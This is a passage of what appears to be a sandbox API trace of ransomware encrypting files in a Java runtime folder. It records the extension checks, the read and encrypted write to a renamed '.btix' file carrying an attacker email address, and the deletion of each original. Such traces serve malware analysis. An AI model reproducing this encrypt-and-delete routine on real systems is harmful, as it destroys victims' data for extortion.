lpString2=".jsa") returned 1 [0151.449] lstrlenW (lpString=".bz2") returned 4 [0151.449] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0151.449] lstrlenW (lpString=".7z") returned 3 [0151.449] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.449] lstrlenW (lpString=".dbf") returned 4 [0151.449] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0151.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.450] lstrlenW (lpString=".1cd") returned 4 [0151.450] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0151.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0151.450] lstrlenW (lpString=".jpg") returned 4 [0151.450] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0151.450] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.450] lstrlenW (lpString="sunmscapi.dll") returned 13 [0151.450] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.450] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=31808) returned 1 [0151.450] CloseHandle (hObject=0x3a4) returned 1 [0151.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0151.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.450] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.451] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.451] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.451] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0151.451] GetLastError () returned 0x0 [0151.451] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x7c40, lpOverlapped=0x0) returned 1 [0151.470] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0151.471] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.471] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1 [0151.471] SetEndOfFile (hFile=0x360) returned 1 [0151.472] CloseHandle (hObject=0x360) returned 1 [0151.472] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.472] SetEndOfFile (hFile=0x3a4) returned 1 [0151.473] CloseHandle (hObject=0x3a4) returned 1 [0151.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.473] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 1 [0151.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.473] lstrlenW (lpString=".doc") returned 4 [0151.473] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.473] lstrlenW (lpString=".docx") returned 5 [0151.473] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0151.473] lstrlenW (lpString=".pdf") returned 4 [0151.473] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.473] lstrlenW (lpString=".xls") returned 4 [0151.473] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.473] lstrlenW (lpString=".xlsx") returned 5 [0151.473] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0151.473] lstrlenW (lpString=".ppt") returned 4 [0151.473] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.473] lstrlenW (lpString=".zip") returned 4 [0151.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString=".rar") returned 4 [0151.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString=".bz2") returned 4 [0151.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.474] lstrlenW (lpString=".7z") returned 3 [0151.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.474] lstrlenW (lpString=".dbf") returned 4 [0151.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.474] lstrlenW (lpString=".1cd") returned 4 [0151.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.474] lstrlenW (lpString=".jpg") returned 4 [0151.474] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.474] lstrlenW (lpString=".doc") returned 4 [0151.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString=".docx") returned 5 [0151.474] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0151.474] lstrlenW (lpString=".pdf") returned 4 [0151.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString=".xls") returned 4 [0151.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString=".xlsx") returned 5 [0151.474] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0151.474] lstrlenW (lpString=".ppt") returned 4 [0151.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.474] lstrlenW (lpString=".zip") returned 4 [0151.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.474] lstrlenW (lpString=".rar") returned 4 [0151.475] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.475] lstrlenW (lpString=".bz2") returned 4 [0151.475] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.475] lstrlenW (lpString=".7z") returned 3 [0151.475] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.475] lstrlenW (lpString=".dbf") returned 4 [0151.475] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.475] lstrlenW (lpString=".1cd") returned 4 [0151.475] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0151.475] lstrlenW (lpString=".jpg") returned 4 [0151.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.475] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0151.475] lstrlenW (lpString="tnameserv.exe") returned 13 [0151.475] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.475] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=16448) returned 1 [0151.476] CloseHandle (hObject=0x3a4) returned 1 [0151.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0151.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.477] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.477] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.477] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.477] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0151.478] GetLastError () returned 0x0 [0151.478] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4040, lpOverlapped=0x0) returned 1 [0151.480] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4050, lpOverlapped=0x0) returned 1 [0151.481] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.482] WriteFile (in: hFile=0x360, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1 [0151.482] SetEndOfFile (hFile=0x360) returned 1 [0151.482] CloseHandle (hObject=0x360) returned 1 [0151.482] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.482] SetEndOfFile (hFile=0x3a4) returned 1 [0151.483] CloseHandle (hObject=0x3a4) returned 1 [0151.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.483] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0151.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.483] lstrlenW (lpString=".doc") returned 4 [0151.483] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.483] lstrlenW (lpString=".docx") returned 5 [0151.483] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0151.483] lstrlenW (lpString=".pdf") returned 4 [0151.483] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.483] lstrlenW (lpString=".xls") returned 4 [0151.483] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.483] lstrlenW (lpString=".xlsx") returned 5 [0151.483] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0151.483] lstrlenW (lpString=".ppt") returned 4 [0151.484] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.484] lstrlenW (lpString=".zip") returned 4 [0151.484] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.484] lstrlenW (lpString=".rar") returned 4 [0151.484] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.484] lstrlenW (lpString=".bz2") returned 4 [0151.484] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.484] lstrlenW (lpString=".7z") returned 3 [0151.484] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.484] lstrlenW (lpString=".dbf") returned 4 [0151.484] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.484] lstrlenW (lpString=".1cd") returned 4 [0151.484] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.484] lstrlenW (lpString=".jpg") returned 4 [0151.484] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.484] lstrlenW (lpString=".doc") returned 4 [0151.484] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.484] lstrlenW (lpString=".docx") returned 5 [0151.484] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0151.484] lstrlenW (lpString=".pdf") returned 4 [0151.484] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.484] lstrlenW (lpString=".xls") returned 4 [0151.484] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.485] lstrlenW (lpString=".xlsx") returned 5 [0151.485] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0151.485] lstrlenW (lpString=".ppt") returned 4 [0151.485] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.485] lstrlenW (lpString=".zip") returned 4 [0151.485] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.485] lstrlenW (lpString=".rar") returned 4 [0151.485] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.485] lstrlenW (lpString=".bz2") returned 4 [0151.485] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.485] lstrlenW (lpString=".7z") returned 3 [0151.485] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.485] lstrlenW (lpString=".dbf") returned 4 [0151.485] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.485] lstrlenW (lpString=".1cd") returned 4 [0151.485] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0151.485] lstrlenW (lpString=".jpg") returned 4 [0151.485] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.485] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.485] lstrlenW (lpString="unpack.dll") returned 10 [0151.485] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.486] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=79936) returned 1 [0151.486] CloseHandle (hObject=0x3a4) returned 1 [0151.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0151.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.486] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.486] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0151.788] GetLastError () returned 0x0 [0151.788] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x13840, lpOverlapped=0x0) returned 1 [0151.801] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x13850, lpOverlapped=0x0) returned 1 [0151.803] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.803] WriteFile (in: hFile=0x338, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0151.803] SetEndOfFile (hFile=0x338) returned 1 [0151.803] CloseHandle (hObject=0x338) returned 1 [0151.803] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.803] SetEndOfFile (hFile=0x3a4) returned 1 [0151.804] CloseHandle (hObject=0x3a4) returned 1 [0151.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.804] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.805] lstrlenW (lpString=".doc") returned 4 [0151.805] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.805] lstrlenW (lpString=".docx") returned 5 [0151.805] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0151.805] lstrlenW (lpString=".pdf") returned 4 [0151.805] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.805] lstrlenW (lpString=".xls") returned 4 [0151.805] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.805] lstrlenW (lpString=".xlsx") returned 5 [0151.805] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0151.805] lstrlenW (lpString=".ppt") returned 4 [0151.805] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.805] lstrlenW (lpString=".zip") returned 4 [0151.805] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.805] lstrlenW (lpString=".rar") returned 4 [0151.805] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.805] lstrlenW (lpString=".bz2") returned 4 [0151.805] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.805] lstrlenW (lpString=".7z") returned 3 [0151.805] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.805] lstrlenW (lpString=".dbf") returned 4 [0151.805] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.805] lstrlenW (lpString=".1cd") returned 4 [0151.805] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.806] lstrlenW (lpString=".jpg") returned 4 [0151.806] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.806] lstrlenW (lpString=".doc") returned 4 [0151.806] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString=".docx") returned 5 [0151.806] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0151.806] lstrlenW (lpString=".pdf") returned 4 [0151.806] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString=".xls") returned 4 [0151.806] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString=".xlsx") returned 5 [0151.806] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0151.806] lstrlenW (lpString=".ppt") returned 4 [0151.806] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.806] lstrlenW (lpString=".zip") returned 4 [0151.806] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString=".rar") returned 4 [0151.806] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.806] lstrlenW (lpString=".bz2") returned 4 [0151.806] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.806] lstrlenW (lpString=".7z") returned 3 [0151.806] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.806] lstrlenW (lpString=".dbf") returned 4 [0151.806] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.807] lstrlenW (lpString=".1cd") returned 4 [0151.807] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0151.807] lstrlenW (lpString=".jpg") returned 4 [0151.807] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.807] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.807] lstrlenW (lpString="verify.dll") returned 10 [0151.807] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0151.807] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=49216) returned 1 [0151.807] CloseHandle (hObject=0x3a4) returned 1 [0151.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program 